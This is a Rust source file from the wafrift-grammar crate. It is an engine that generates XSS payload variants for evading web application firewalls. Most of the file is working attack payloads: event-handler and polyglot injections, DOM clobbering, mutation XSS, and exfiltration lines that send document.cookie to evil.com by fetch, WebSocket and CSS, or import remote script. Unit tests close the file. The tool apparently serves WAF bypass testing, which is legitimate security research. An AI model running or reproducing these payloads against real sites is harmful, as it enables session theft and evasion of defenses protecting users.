wafrift-grammar 0.2.2

Grammar-aware payload mutation engine — SQL, XSS, CMD, LDAP, SSRF, path traversal, SSTI.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
//! XSS grammar-aware payload mutation.
//!
//! Understands HTML/JavaScript semantics and generates equivalent XSS
//! payloads using different DOM elements, event handlers, and execution
//! contexts. A WAF blocking `<script>alert(1)</script>` will miss
//! `<img src=x onerror=confirm(1)>`.
//!
//! # Technique depth
//!
//! 1. **Tag/event substitution** — 15+ tag/event combinations
//! 2. **Execution function rotation** — 15 alternative JS exec paths
//! 3. **URI scheme payloads** — javascript:, data:, blob:
//! 4. **DOM clobbering** — Override named properties via DOM nodes
//! 5. **Polyglot XSS** — Payloads valid in multiple injection contexts
//! 6. **Mutation XSS** — Exploit HTML parser differentials
//! 7. **Context-aware generation** — HTML attr, JS string, URL contexts
//! 8. **Prototype chain execution** — constructor.constructor chains
//! 9. **Iframe srcdoc smuggling** — Nested HTML via srcdoc attribute

/// A single XSS mutation with metadata.
#[derive(Debug, Clone)]
pub struct XssMutation {
    /// The mutated payload.
    pub payload: String,
    /// Human-readable description of what changed.
    pub description: String,
    /// Which mutation rules were applied.
    pub rules_applied: Vec<&'static str>,
}

// ──────────────────────────────────────────────
//  HTML tag + event handler combinations
// ──────────────────────────────────────────────

/// Each tuple: (prefix before exec function, suffix after exec function, extra attributes).
const TAG_EVENT_COMBOS: &[(&str, &str, &str)] = &[
    ("<img src=x onerror=", ">", ""),
    ("<svg onload=", ">", ""),
    ("<svg/onload=", ">", ""),
    ("<body onload=", ">", ""),
    ("<details open ontoggle=", ">", ""),
    ("<video src=x onerror=", ">", ""),
    ("<audio src=x onerror=", ">", ""),
    ("<input onfocus=", " autofocus>", ""),
    ("<marquee onstart=", ">", ""),
    ("<object data=javascript:", ">", ""),
    ("<a href=javascript:", ">click</a>", ""),
    ("<div onmouseover=", ">hover</div>", ""),
    ("<isindex type=image src=x onerror=", ">", ""),
    ("<input type=image src=x onerror=", ">", ""),
    (
        "<form><button formaction=javascript:",
        ">click</button></form>",
        "",
    ),
    ("<select autofocus onfocus=", "></select>", ""),
    ("<textarea autofocus onfocus=", "></textarea>", ""),
    ("<keygen autofocus onfocus=", ">", ""),
    ("<embed src=x onerror=", ">", ""),
    (
        "<style>@import'//evil.com?</style><img src=x onerror=",
        ">",
        "",
    ),
];

// ──────────────────────────────────────────────
//  JavaScript execution functions
// ──────────────────────────────────────────────

/// Alternative ways to execute JavaScript.
const EXEC_FUNCTIONS: &[&str] = &[
    "alert(1)",
    "alert`1`", // Tagged template literal
    "confirm(1)",
    "confirm`1`",
    "prompt(1)",
    "eval('alert(1)')",
    "setTimeout('alert(1)')",
    "setInterval('alert(1)',0)",
    "Function('alert(1)')()",
    "constructor.constructor('alert(1)')()",
    "[].constructor.constructor('alert(1)')()",
    "window['alert'](1)",
    "self['alert'](1)",
    "top['alert'](1)",
    "this['alert'](1)",
];

// ──────────────────────────────────────────────
//  URI scheme payloads
// ──────────────────────────────────────────────

/// Various ways to trigger JavaScript via URI schemes.
const URI_SCHEMES: &[&str] = &[
    "javascript:alert(1)",
    "javascript:alert`1`",
    "javascript:void(alert(1))",
    "data:text/html,<script>alert(1)</script>",
    "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==",
    "javascript:/*--></title></style></textarea></script><svg onload=alert(1)>",
];

// ──────────────────────────────────────────────
//  SVG-specific payloads
// ──────────────────────────────────────────────

/// SVG-based XSS using animation events.
const SVG_PAYLOADS: &[&str] = &[
    "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
    "<svg><set onbegin=alert(1) attributename=x to=1>",
    "<svg><script>alert(1)</script></svg>",
    "<svg><image href=1 onerror=alert(1)>",
    "<svg><a><rect width=100 height=100></a><animate attributeName=href values=javascript:alert(1)>",
];

// ──────────────────────────────────────────────
//  MathML-specific payloads
// ──────────────────────────────────────────────

const MATHML_PAYLOADS: &[&str] = &[
    "<math><mtext><table><mglyph><style><img src=x onerror=alert(1)></style></mglyph></table></mtext></math>",
    "<math><mtext><script>alert(1)</script></mtext></math>",
    "<math href=javascript:alert(1)>CLICKME</math>",
    "<math><maction onclick=alert(1)>X</maction></math>",
];

// ──────────────────────────────────────────────
//  Markdown-specific payloads
// ──────────────────────────────────────────────

const MARKDOWN_PAYLOADS: &[&str] = &[
    "[x](javascript:alert(1))",
    "![x](javascript:alert(1))",
    "[x](javascript:alert(1) 'title')",
    "[x](data:text/html,<script>alert(1)</script>)",
    "<img src=x onerror=alert(1)>",
    "<script>alert(1)</script>",
    "[link](//evil.com)",
];

// ──────────────────────────────────────────────
//  Public API
// ──────────────────────────────────────────────

/// Check whether the payload contains any XSS-relevant signals.
fn has_xss_signals(payload: &str) -> bool {
    let lower = payload.to_ascii_lowercase();
    [
        "<script",
        "</script",
        "onerror",
        "onload",
        "onclick",
        "onfocus",
        "onmouseover",
        "alert(",
        "confirm(",
        "prompt(",
        "javascript:",
        "<img",
        "<svg",
        "<iframe",
        "<body",
        "document.cookie",
        "eval(",
        "onbegin",
        "ontoggle",
        "onstart",
        "srcdoc",
        "<math",
        "<mtext",
        "<details",
        "<video",
        "<audio",
        "<marquee",
        "<object",
        "<form",
        "<select",
        "<textarea",
        "<keygen",
        "<embed",
        "<style",
        "<link",
        "<div",
        "<a ",
        "<table",
        "<caption",
        "<noscript",
        "<foreignobject",
        "[x](javascript:",
        "![x](javascript:",
        "onerror=",
        "onload=",
    ]
    .iter()
    .any(|sig| lower.contains(sig))
}

/// Generate grammar-aware mutations of an XSS payload.
///
/// Returns an empty vector if the input does not contain any XSS signals.
/// This prevents generating unrelated tag/event variants for plain text.
#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<XssMutation> {
    if !has_xss_signals(payload) {
        return Vec::new();
    }
    let mut results = Vec::new();

    // Strategy budget: reserve capacity for later strategies to avoid
    // strategy 1 (tag/event × exec = 300 combos) consuming everything.
    let tag_event_budget = (max_mutations * 40 / 100).max(5);

    // Strategy 1: Tag/event substitution with all exec functions
    for (prefix, suffix, _extra) in TAG_EVENT_COMBOS {
        for exec_fn in EXEC_FUNCTIONS {
            if results.len() >= tag_event_budget {
                break;
            }
            let mutated = format!("{prefix}{exec_fn}{suffix}");
            if mutated != payload {
                results.push(XssMutation {
                    payload: mutated,
                    description: format!("tag/event: {prefix}{exec_fn}"),
                    rules_applied: vec!["tag_event_swap"],
                });
            }
        }
        if results.len() >= tag_event_budget {
            break;
        }
    }

    // Strategy 2: Case alternation on tag names
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<ScRiPt>alert(1)</sCrIpT>".into(),
            description: "case alternation on script tag".into(),
            rules_applied: vec!["case_alternation"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<IMG SRC=x OnErRoR=alert(1)>".into(),
            description: "case alternation on img tag".into(),
            rules_applied: vec!["case_alternation"],
        });
    }

    // Strategy 3: Null byte injection
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<scr\x00ipt>alert(1)</scr\x00ipt>".into(),
            description: "null byte in tag name".into(),
            rules_applied: vec!["null_byte"],
        });
    }

    // Strategy 4: URI scheme payloads
    for scheme in URI_SCHEMES {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: scheme.to_string(),
            description: format!("URI scheme: {}", &scheme[..scheme.len().min(30)]),
            rules_applied: vec!["uri_scheme"],
        });
    }

    // Strategy 5: SVG-specific payloads
    for svg in SVG_PAYLOADS {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: svg.to_string(),
            description: "SVG animation/script execution".into(),
            rules_applied: vec!["svg_payload"],
        });
    }

    // Strategy 6: HTML entity encoding of tag characters
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;".into(),
            description: "hex HTML entity encoded tags".into(),
            rules_applied: vec!["html_entity"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "&#60;script&#62;alert(1)&#60;/script&#62;".into(),
            description: "decimal HTML entity encoded tags".into(),
            rules_applied: vec!["html_entity"],
        });
    }

    // Strategy 7: Polyglot XSS payloads
    let polyglots = [
        "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teleType/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert(1)//>",
        "'-alert(1)-'",
        "\"onmouseover=alert(1)//",
        "</script><svg onload=alert(1)>",
        "*/alert(1)/*",
        "\" onfocus=alert(1) autofocus=\"",
        "' onfocus=alert(1) autofocus='",
    ];
    for poly in &polyglots {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: poly.to_string(),
            description: format!("polyglot: {}...", &poly[..poly.len().min(30)]),
            rules_applied: vec!["polyglot"],
        });
    }

    // Strategy 8: DOM clobbering
    let dom_clobber = [
        "<form name=body><input name=innerHTML value='<img src=x onerror=alert(1)>'></form>",
        "<a id=x name=x href=javascript:alert(1)></a>",
        "<img src=x onerror=window.name='alert(1)';eval(name)>",
        "<form><output name=innerHTML><img src=x onerror=alert(1)></output></form>",
    ];
    for clobber in &dom_clobber {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: clobber.to_string(),
            description: "DOM clobbering".into(),
            rules_applied: vec!["dom_clobber"],
        });
    }

    // Strategy 9: Iframe srcdoc smuggling
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<iframe srcdoc='&lt;script&gt;alert(1)&lt;/script&gt;'></iframe>".into(),
            description: "iframe srcdoc with HTML-entity-encoded script".into(),
            rules_applied: vec!["srcdoc_smuggle"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<iframe srcdoc='&lt;img src=x onerror=alert(1)&gt;'></iframe>".into(),
            description: "iframe srcdoc with entity-encoded img".into(),
            rules_applied: vec!["srcdoc_smuggle"],
        });
    }

    // Strategy 10: Mutation XSS
    let mutation_xss = [
        "<noscript><img src=x onerror=alert(1)></noscript>",
        "<table><caption><img src=x onerror=alert(1)></table>",
        "<svg><foreignObject><body onload=alert(1)></foreignObject></svg>",
        "<math><mtext><script>alert(1)</script></mtext></math>",
        "</title><svg onload=alert(1)>",
        "</style><svg onload=alert(1)>",
        "</xmp><svg onload=alert(1)>",
    ];
    for mxss in &mutation_xss {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: mxss.to_string(),
            description: "mutation XSS via parser differentials".into(),
            rules_applied: vec!["mutation_xss"],
        });
    }

    // Strategy 11: window.name exploitation
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<script>eval(window.name)</script>".into(),
            description: "window.name eval".into(),
            rules_applied: vec!["window_name"],
        });
    }

    // Strategy 12: Prototype chain override
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=this.onerror=null;{}.valueOf=alert;throw 1>".into(),
            description: "valueOf override via throw".into(),
            rules_applied: vec!["prototype_override"],
        });
    }

    // Strategy 13: Template literal injection (backtick payloads)
    let template_literals = [
        "<img src=x onerror=alert`1`>",
        "<svg onload=`${alert(1)}`>",
        "<img src=x onerror=window[`al`+`ert`](1)>",
        "<img src=x onerror=[].find(alert)>",
        "<img src=x onerror=[1].map(alert)>",
        "<img src=x onerror=[1].forEach(alert)>",
        "<img src=x onerror=[1].filter(alert)>",
    ];
    for tl in &template_literals {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: tl.to_string(),
            description: "template literal / array method exec".into(),
            rules_applied: vec!["template_literal"],
        });
    }

    // Strategy 14: import() dynamic module execution
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<script>import('data:text/javascript,alert(1)')</script>".into(),
            description: "dynamic import() with data: URI".into(),
            rules_applied: vec!["dynamic_import"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=import('//evil.com/xss.js')>".into(),
            description: "dynamic import() from remote".into(),
            rules_applied: vec!["dynamic_import"],
        });
    }

    // Strategy 15: CSS injection for data exfiltration
    let css_payloads = [
        "<style>@import url('//evil.com/log?token='+document.cookie)</style>",
        "<div style=background-image:url(javascript:alert(1))>",
        "<style>*{background:url('//evil.com/?'+document.cookie)}</style>",
        "<link rel=stylesheet href='//evil.com/exfil.css'>",
    ];
    for css in &css_payloads {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: css.to_string(),
            description: "CSS-based injection / exfiltration".into(),
            rules_applied: vec!["css_injection"],
        });
    }

    // Strategy 16: WebSocket-based exfiltration
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=\"new WebSocket('ws://evil.com/'+document.cookie)\">"
                .into(),
            description: "WebSocket exfiltration".into(),
            rules_applied: vec!["websocket_exfil"],
        });
    }
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<img src=x onerror=\"fetch('//evil.com/?c='+document.cookie)\">".into(),
            description: "fetch() exfiltration".into(),
            rules_applied: vec!["fetch_exfil"],
        });
    }

    // Strategy 17: Shadow DOM injection
    if results.len() < max_mutations {
        results.push(XssMutation {
            payload: "<div id=host></div><script>host.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'</script>".into(),
            description: "shadow DOM injection".into(),
            rules_applied: vec!["shadow_dom"],
        });
    }

    // Strategy 18: MathML context payloads
    for math in MATHML_PAYLOADS {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: math.to_string(),
            description: "MathML parser-differential XSS".into(),
            rules_applied: vec!["mathml"],
        });
    }

    // Strategy 19: Markdown context payloads
    for md in MARKDOWN_PAYLOADS {
        if results.len() >= max_mutations {
            break;
        }
        results.push(XssMutation {
            payload: md.to_string(),
            description: "Markdown link/HTML injection XSS".into(),
            rules_applied: vec!["markdown"],
        });
    }

    results.truncate(max_mutations);
    results
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn tag_event_mutations_produced() {
        let mutations = mutate("<script>alert(1)</script>", 20);
        assert!(!mutations.is_empty());
        let has_img = mutations.iter().any(|m| m.payload.contains("<img"));
        let has_svg = mutations.iter().any(|m| m.payload.contains("<svg"));
        assert!(has_img || has_svg, "should use alternative tags");
    }

    #[test]
    fn exec_function_rotation() {
        let mutations = mutate("<script>alert(1)</script>", 50);
        let has_confirm = mutations.iter().any(|m| m.payload.contains("confirm"));
        let has_eval = mutations.iter().any(|m| m.payload.contains("eval("));
        assert!(has_confirm || has_eval, "should rotate exec functions");
    }

    #[test]
    fn uri_scheme_variants() {
        let mutations = mutate("<script>alert(1)</script>", 50);
        let has_uri = mutations
            .iter()
            .any(|m| m.payload.starts_with("javascript:"));
        assert!(has_uri, "should have javascript: URI scheme variant");
    }

    #[test]
    fn svg_animate_variant() {
        let mutations = mutate("<script>alert(1)</script>", 50);
        let has_animate = mutations.iter().any(|m| m.payload.contains("onbegin"));
        assert!(has_animate, "should have SVG animate variant");
    }

    #[test]
    fn polyglot_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_polyglot = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"polyglot"));
        assert!(has_polyglot, "should have polyglot variant");
    }

    #[test]
    fn dom_clobber_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_clobber = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"dom_clobber"));
        assert!(has_clobber, "should have DOM clobbering variant");
    }

    #[test]
    fn mutation_xss_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_mxss = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"mutation_xss"));
        assert!(has_mxss, "should have mutation XSS variant");
    }

    #[test]
    fn srcdoc_smuggle_variant() {
        let mutations = mutate("<script>alert(1)</script>", 100);
        let has_srcdoc = mutations.iter().any(|m| m.payload.contains("srcdoc"));
        assert!(has_srcdoc, "should have iframe srcdoc smuggling variant");
    }

    #[test]
    fn no_mutations_for_non_xss() {
        let mutations = mutate("hello world", 10);
        assert!(
            mutations.is_empty(),
            "non-XSS input should not produce mutations"
        );
    }

    #[test]
    fn mathml_variant() {
        let mutations = mutate("<script>alert(1)</script>", 200);
        let has_mathml = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"mathml"));
        assert!(has_mathml, "should have MathML variant");
    }

    #[test]
    fn markdown_variant() {
        let mutations = mutate("<script>alert(1)</script>", 200);
        let has_markdown = mutations
            .iter()
            .any(|m| m.rules_applied.contains(&"markdown"));
        assert!(has_markdown, "should have Markdown variant");
    }

    #[test]
    fn max_mutations_respected() {
        let mutations = mutate("<script>alert(1)</script>", 5);
        assert!(mutations.len() <= 5);
    }

    #[test]
    fn high_volume_does_not_panic() {
        let _ = mutate("<script>alert(1)</script>", 1000);
    }
}